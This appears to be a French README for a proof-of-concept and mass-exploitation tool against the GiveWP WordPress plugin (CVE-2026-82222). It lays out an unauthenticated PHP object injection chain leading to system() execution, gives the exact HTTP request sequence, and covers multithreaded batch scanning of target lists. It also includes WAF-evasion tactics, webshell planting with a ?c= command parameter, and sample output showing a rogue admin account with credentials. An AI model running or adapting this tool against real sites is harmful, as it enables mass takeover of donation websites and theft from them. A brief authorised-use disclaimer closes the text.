
GiveWP <= 4.16.7.1 Injection d'objets PHP non authentifiée → RCE
Auteur : Rx019
CVSS : 10.0 (Critique)
Type : Injection d'objets PHP non authentifiée → Exécution de code à distance
Plugin : GiveWP (give) — Plugin de dons et plateforme de collecte de fonds
Versions concernées : <= 4.16.7.1
Correctif : 4.16.8
GiveWP stocke le last_name d'un donateur dans la session PHP sans assainissement. Lorsqu'un don est soumis sans le champ give_last, GiveWP désérialise la valeur brute de la base de données directement dans la session. Cela permet à un attaquant non authentifié d'injecter un objet PHP sérialisé dans last_name via le point de terminaison du profil du donateur, puis de déclencher la désérialisation en soumettant un don forgé — ce qui entraîne l'exécution arbitraire de commandes via une chaîne POP pré-construite disponible dans les bibliothèques fournisseurs incluses avec GiveWP.
TCPDF::__destruct()
└─ Session::getBag() ← appelle la méthode nommée par $attributeName
└─ DonationFactory::__call()
└─ system($command) ← $command provient de $attributeName
Classes fournisseurs utilisées :
| Classe | Fichier |
|---|---|
TCPDF | vendor/tecnickcom/tcpdf/tcpdf.php |
Give\Vendors\Symfony\...\Session | vendor/symfony/http-foundation/Session/Session.php |
Give\TestData\Factories\DonationFactory | src/TestData/Factories/DonationFactory.php |
1. S'inscrire comme donateur → session authentifiée (cookie wp-login)
2. POST /wp-admin/profile.php
last_name = chaîne TCPDF sérialisée avec commande system() intégrée
3. POST /wp-admin/admin-ajax.php
action=give_process_donation (champ give_last OMIS)
→ GiveWP lit last_name depuis la base de données, écrit l'objet brut dans la session
4. GET /?p={form_id}
→ la destruction de la session PHP déclenche TCPDF::__destruct()
→ la chaîne POP exécute system(command)
5. Confirmer le shell / l'admin créé
pip install requests rich
Python >= 3.9
| Fichier | Description |
|---|---|
CVE-2026-82222.py | PoC cible unique — sortie détaillée étape par étape |
CVE-2026-82222-MASS.py | Scanner de masse — mode batch multithreadé |
python CVE-2026-82222.py
Invite interactive :
URL cible : https://victim.com
Ou directement :
python CVE-2026-82222.py https://victim.com
# Lot depuis un fichier
python CVE-2026-82222-MASS.py -f targets.txt
# Nombre de threads personnalisé
python CVE-2026-82222-MASS.py -f targets.txt -t 10
# Plusieurs cibles en ligne
python CVE-2026-82222-MASS.py https://site1.com https://site2.com
# Menu interactif
python CVE-2026-82222-MASS.py
Format du fichier de lot :
# Les lignes commençant par # sont ignorées
https://target1.com
https://target2.com
target3.com # protocole préfixé automatiquement en https://
http://target4.com
╭─ CVE-2026-82222 | Rx019 ─────────────────────────────╮
│ │
│ PWNED (shell + direct) https://victim.com │
│ Version : 4.15.0 │
│ WAF : Wordfence │
│ Shell : https://victim.com/wp-content/uploads/... │
│ Méthode : shell + direct (aucune écriture .php requise) │
│ Admin : rxadm3f91:RxAdm!k2m9xp7 ([email protected]) │
│ │
╰────────────────────────────────────────────────────────╯
Vulnérables : 12 Partiels : 3 Corrigés : 44 Non vulnérables : 21 Erreurs : 2 Total : 82
Résultats enregistrés dans ~/Documents/CVE/CVE-2026-82222/ :
| Fichier | Contenu |
|---|---|
CVE-2026-82222_YYYYMMDD_HHMMSS.txt | Résultat d'une exécution unique |
CVE-2026-82222_batch_YYYYMMDD_HHMMSS.txt | Résultats complets du lot |
success_results.txt | Lignes VULN/PARTIEL ajoutées |
L'exploit tente deux chemins principaux en séquence :
wp_create_user() en base64 dans la chaîne TCPDFUtilisé lorsque le chemin A échoue ou que la connexion admin ne peut pas être vérifiée.
last_name via le point de terminaison du profilgive_last)/?p={form_id})id | tee vers un fichier .txt dans uploadsSi un shell est confirmé mais qu'aucun admin n'existe encore, en créer un via le shell en utilisant wp_create_user() via le paramètre ?c= du webshell.
| WAF | Stratégie |
|---|---|
| Imunify360 | Supprimer les en-têtes d'usurpation X-Forwarded-For / X-Real-IP |
| Wordfence | Rotation du User-Agent depuis un pool |
| Cloudflare | Définir Accept-Encoding : gzip, deflate, br |
DISALLOW_FILE_EDIT dans wp-config.php bloque le vecteur de l'éditeur de plugin/thème — le script le détecte tôt et bascule vers le chemin BRx{100-999}.php — randomisé à chaque exécutionCet outil est publié uniquement à des fins de tests de sécurité autorisés et de recherche.
Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.
Toute utilisation non autorisée est illégale et contraire à l'éthique.